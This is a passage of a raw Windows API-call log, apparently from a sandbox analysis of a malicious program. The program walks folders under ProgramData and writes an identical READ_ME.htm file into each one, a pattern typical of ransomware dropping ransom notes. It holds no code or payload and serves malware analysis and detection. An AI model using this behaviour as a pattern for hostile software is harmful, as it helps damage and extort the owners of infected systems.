nBufferLength=0x105, lpBuffer=0x21cc90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0141.807] SetErrorMode (uMode=0x1) returned 0x0 [0141.808] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0141.808] GetFileType (hFile=0x1d0) returned 0x1 [0141.808] SetErrorMode (uMode=0x0) returned 0x1 [0141.808] GetFileType (hFile=0x1d0) returned 0x1 [0141.808] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d2f8 | out: lpFileSizeHigh=0x21d2f8*=0x0) returned 0x5e8 [0141.808] ReadFile (in: hFile=0x1d0, lpBuffer=0x29d4fe8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d1d8, lpOverlapped=0x0 | out: lpBuffer=0x29d4fe8*, lpNumberOfBytesRead=0x21d1d8*=0x5e8, lpOverlapped=0x0) returned 1 [0141.809] CloseHandle (hObject=0x1d0) returned 1 [0141.871] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x21cca0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x68 [0141.871] SetErrorMode (uMode=0x1) returned 0x0 [0141.871] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.883] SetErrorMode (uMode=0x0) returned 0x1 [0141.886] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\READ_ME.htm", lpFilePart=0x0) returned 0x67 [0141.886] SetErrorMode (uMode=0x1) returned 0x0 [0141.886] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.886] GetFileType (hFile=0x1d0) returned 0x1 [0141.886] SetErrorMode (uMode=0x0) returned 0x1 [0141.886] GetFileType (hFile=0x1d0) returned 0x1 [0141.887] WriteFile (in: hFile=0x1d0, lpBuffer=0x28be518*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28be518*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0141.888] CloseHandle (hObject=0x1d0) returned 1 [0141.888] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\READ_ME.htm", lpFilePart=0x0) returned 0x61 [0141.889] SetErrorMode (uMode=0x1) returned 0x0 [0141.889] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.889] GetFileType (hFile=0x1d0) returned 0x1 [0141.889] SetErrorMode (uMode=0x0) returned 0x1 [0141.889] GetFileType (hFile=0x1d0) returned 0x1 [0141.889] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c2b68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x28c2b68*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0141.891] CloseHandle (hObject=0x1d0) returned 1 [0141.891] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\READ_ME.htm", lpFilePart=0x0) returned 0x3a [0141.891] SetErrorMode (uMode=0x1) returned 0x0 [0141.891] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.891] GetFileType (hFile=0x1d0) returned 0x1 [0141.892] SetErrorMode (uMode=0x0) returned 0x1 [0141.892] GetFileType (hFile=0x1d0) returned 0x1 [0141.892] WriteFile (in: hFile=0x1d0, lpBuffer=0x28c7118*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x28c7118*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0141.893] CloseHandle (hObject=0x1d0) returned 1 [0141.893] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\READ_ME.htm", lpFilePart=0x0) returned 0x35 [0141.894] SetErrorMode (uMode=0x1) returned 0x0 [0141.894] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\device stage\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.894] GetFileType (hFile=0x1d0) returned 0x1 [0141.894] SetErrorMode (uMode=0x0) returned 0x1 [0141.894] GetFileType (hFile=0x1d0) returned 0x1 [0141.894] WriteFile (in: hFile=0x1d0, lpBuffer=0x28cb6b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28cb6b8*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.896] CloseHandle (hObject=0x1d0) returned 1 [0141.896] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x27 [0141.896] SetErrorMode (uMode=0x1) returned 0x0 [0141.896] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.897] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.897] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f8e6c00, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.897] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f8e6c00, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.897] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.897] SetErrorMode (uMode=0x0) returned 0x1 [0141.898] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync", lpFilePart=0x0) returned 0x27 [0141.898] SetErrorMode (uMode=0x1) returned 0x0 [0141.898] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\*" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.898] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.898] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f8e6c00, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.899] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f8e6c00, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.899] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.899] SetErrorMode (uMode=0x0) returned 0x1 [0141.899] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DeviceSync\\READ_ME.htm", lpFilePart=0x0) returned 0x33 [0141.899] SetErrorMode (uMode=0x1) returned 0x0 [0141.899] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\DeviceSync\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\devicesync\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.900] GetFileType (hFile=0x1d0) returned 0x1 [0141.900] SetErrorMode (uMode=0x0) returned 0x1 [0141.900] GetFileType (hFile=0x1d0) returned 0x1 [0141.900] WriteFile (in: hFile=0x1d0, lpBuffer=0x28d1718*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x28d1718*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0141.911] CloseHandle (hObject=0x1d0) returned 1 [0141.911] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM", lpFilePart=0x0) returned 0x20 [0141.912] SetErrorMode (uMode=0x1) returned 0x0 [0141.912] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*" (normalized: "c:\\users\\all users\\microsoft\\drm\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.912] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.912] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f90cd60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.912] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0141.913] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0141.913] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.913] SetErrorMode (uMode=0x0) returned 0x1 [0141.913] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM", lpFilePart=0x0) returned 0x20 [0141.913] SetErrorMode (uMode=0x1) returned 0x0 [0141.913] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\*" (normalized: "c:\\users\\all users\\microsoft\\drm\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f90cd60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 1 [0141.914] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Server", cAlternateFileName="")) returned 0 [0141.914] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.915] SetErrorMode (uMode=0x0) returned 0x1 [0141.915] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x27 [0141.915] SetErrorMode (uMode=0x1) returned 0x0 [0141.915] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.915] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.915] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f90cd60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.916] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f90cd60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.916] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.916] SetErrorMode (uMode=0x0) returned 0x1 [0141.916] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\DRM\\Server", lpFilePart=0x0) returned 0x27 [0141.916] SetErrorMode (uMode=0x1) returned 0x0 [0141.917] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\DRM\\Server\\*" (normalized: "c:\\users\\all users\\microsoft\\drm\\server\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.917] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.917] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f90cd60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.917] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f90cd60, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f90cd60, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f90cd60, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 0 [0141.917] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.917] SetErrorMode (uMode=0x0) returned 0x1 [0141.918] 